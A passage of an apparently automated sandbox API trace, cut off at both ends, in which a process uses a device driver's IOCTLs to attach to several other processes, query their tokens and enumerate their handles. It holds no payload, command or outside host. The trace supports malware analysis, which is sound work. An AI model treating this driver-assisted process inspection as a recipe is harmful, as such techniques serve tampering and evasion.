nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.785] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002067b30, HandleInformation=0x0) returned 0x0 [0094.785] ObOpenObjectByPointer (in: Object=0xfffffa8002067b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.785] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x12 [0094.786] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800361e240 | out: TokenHandle=0xfffffa800361e240*=0xc8) returned 0x0 [0094.786] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.786] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.786] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.786] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.787] CloseHandle (hObject=0xc8) returned 1 [0094.787] CloseHandle (hObject=0xc0) returned 1 [0094.787] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.787] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.787] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.787] PsAcquireProcessExitSynchronization () returned 0x0 [0094.787] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880052335d0) [0094.787] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020627a0, HandleInformation=0x0) returned 0x0 [0094.788] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.788] PsReleaseProcessExitSynchronization () returned 0x2 [0094.788] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0094.788] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.788] ObfDereferenceObject (Object=0xfffffa80020627a0) returned 0x1 [0094.788] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.788] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.788] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.788] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0094.788] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.788] PsAcquireProcessExitSynchronization () returned 0x0 [0094.788] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880052335d0) [0094.788] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002068800, HandleInformation=0x0) returned 0x0 [0094.788] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.788] PsReleaseProcessExitSynchronization () returned 0x2 [0094.788] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0094.788] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.788] ObfDereferenceObject (Object=0xfffffa8002068800) returned 0x1 [0094.788] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.788] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.788] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.788] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.788] PsLookupProcessByProcessId (in: ProcessId=0x910, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.788] PsAcquireProcessExitSynchronization () returned 0x0 [0094.788] KeStackAttachProcess (in: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002067b30, ApcState=0xfffff880052335d0) [0094.788] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.788] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.788] PsReleaseProcessExitSynchronization () returned 0x2 [0094.788] ObfDereferenceObject (Object=0xfffffa8002067b30) returned 0x10 [0094.788] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.788] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.789] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.789] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.789] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x920) returned 0xc0 [0094.789] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.789] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800207e5f0, HandleInformation=0x0) returned 0x0 [0094.789] ObOpenObjectByPointer (in: Object=0xfffffa800207e5f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.789] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x12 [0094.789] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800361e240 | out: TokenHandle=0xfffffa800361e240*=0xc8) returned 0x0 [0094.789] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.789] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.789] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.789] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.790] CloseHandle (hObject=0xc8) returned 1 [0094.790] CloseHandle (hObject=0xc0) returned 1 [0094.790] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.790] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.790] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.790] PsAcquireProcessExitSynchronization () returned 0x0 [0094.790] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880052335d0) [0094.791] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800207ef20, HandleInformation=0x0) returned 0x0 [0094.791] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.791] PsReleaseProcessExitSynchronization () returned 0x2 [0094.791] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0094.791] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.791] ObfDereferenceObject (Object=0xfffffa800207ef20) returned 0x1 [0094.791] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.791] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.791] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.791] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0094.791] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.791] PsAcquireProcessExitSynchronization () returned 0x0 [0094.791] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880052335d0) [0094.791] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001ff5290, HandleInformation=0x0) returned 0x0 [0094.791] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.791] PsReleaseProcessExitSynchronization () returned 0x2 [0094.791] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0094.791] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.791] ObfDereferenceObject (Object=0xfffffa8001ff5290) returned 0x1 [0094.791] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.791] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.791] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.791] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.791] PsLookupProcessByProcessId (in: ProcessId=0x920, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.791] PsAcquireProcessExitSynchronization () returned 0x0 [0094.791] KeStackAttachProcess (in: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800207e5f0, ApcState=0xfffff880052335d0) [0094.791] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.791] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.791] PsReleaseProcessExitSynchronization () returned 0x2 [0094.791] ObfDereferenceObject (Object=0xfffffa800207e5f0) returned 0x10 [0094.791] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.792] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.792] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.792] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.792] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x930) returned 0xc0 [0094.792] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.792] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8001ff8b30, HandleInformation=0x0) returned 0x0 [0094.792] ObOpenObjectByPointer (in: Object=0xfffffa8001ff8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.792] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x12 [0094.792] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800361e240 | out: TokenHandle=0xfffffa800361e240*=0xc8) returned 0x0 [0094.792] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.792] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.792] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.792] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.793] CloseHandle (hObject=0xc8) returned 1 [0094.793] CloseHandle (hObject=0xc0) returned 1 [0094.793] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.793] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.793] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.794] PsAcquireProcessExitSynchronization () returned 0x0 [0094.794] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880052335d0) [0094.794] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fb4830, HandleInformation=0x0) returned 0x0 [0094.794] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.794] PsReleaseProcessExitSynchronization () returned 0x2 [0094.794] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0094.794] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.794] ObfDereferenceObject (Object=0xfffffa8001fb4830) returned 0x1 [0094.794] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.794] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.794] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.794] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0094.794] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.794] PsAcquireProcessExitSynchronization () returned 0x0 [0094.794] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880052335d0) [0094.794] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001fc7a20, HandleInformation=0x0) returned 0x0 [0094.794] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.794] PsReleaseProcessExitSynchronization () returned 0x2 [0094.794] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0094.794] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002013044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002013044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.794] ObfDereferenceObject (Object=0xfffffa8001fc7a20) returned 0x1 [0094.794] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.794] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.794] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.794] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.794] PsLookupProcessByProcessId (in: ProcessId=0x930, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.794] PsAcquireProcessExitSynchronization () returned 0x0 [0094.794] KeStackAttachProcess (in: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8001ff8b30, ApcState=0xfffff880052335d0) [0094.794] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.794] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.795] PsReleaseProcessExitSynchronization () returned 0x2 [0094.795] ObfDereferenceObject (Object=0xfffffa8001ff8b30) returned 0x10 [0094.795] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.795] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.795] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.795] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.795] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x940) returned 0xc0 [0094.795] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.795] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002002b30, HandleInformation=0x0) returned 0x0 [0094.795] ObOpenObjectByPointer (in: Object=0xfffffa8002002b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.795] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x12 [0094.795] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa800361e240 | out: TokenHandle=0xfffffa800361e240*=0xc8) returned 0x0 [0094.795] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.795] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.795] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.795] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.796] CloseHandle (hObject=0xc8) returned 1 [0094.796] CloseHandle (hObject=0xc0) returned 1 [0094.796] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.796] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.796] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.796] PsAcquireProcessExitSynchronization () returned 0x0 [0094.796] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880052335d0) [0094.797] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001ffd180, HandleInformation=0x0) returned 0x0 [0094.797] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.797] PsReleaseProcessExitSynchronization () returned 0x2 [0094.797] ObfDereferenceObject (Object=0xfffffa8002002b30) returned 0x10 [0094.797] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.797] ObfDereferenceObject (Object=0xfffffa8001ffd180) returned 0x1 [0094.797] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.797] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.797] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.797] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0094.797] PsLookupProcessByProcessId (in: ProcessId=0x940, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.797] PsAcquireProcessExitSynchronization () returned 0x0 [0094.797] KeStackAttachProcess (in: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002002b30, ApcState=0xfffff880052335d0) [0094.797] ObReferenceObjectByHandle (in: 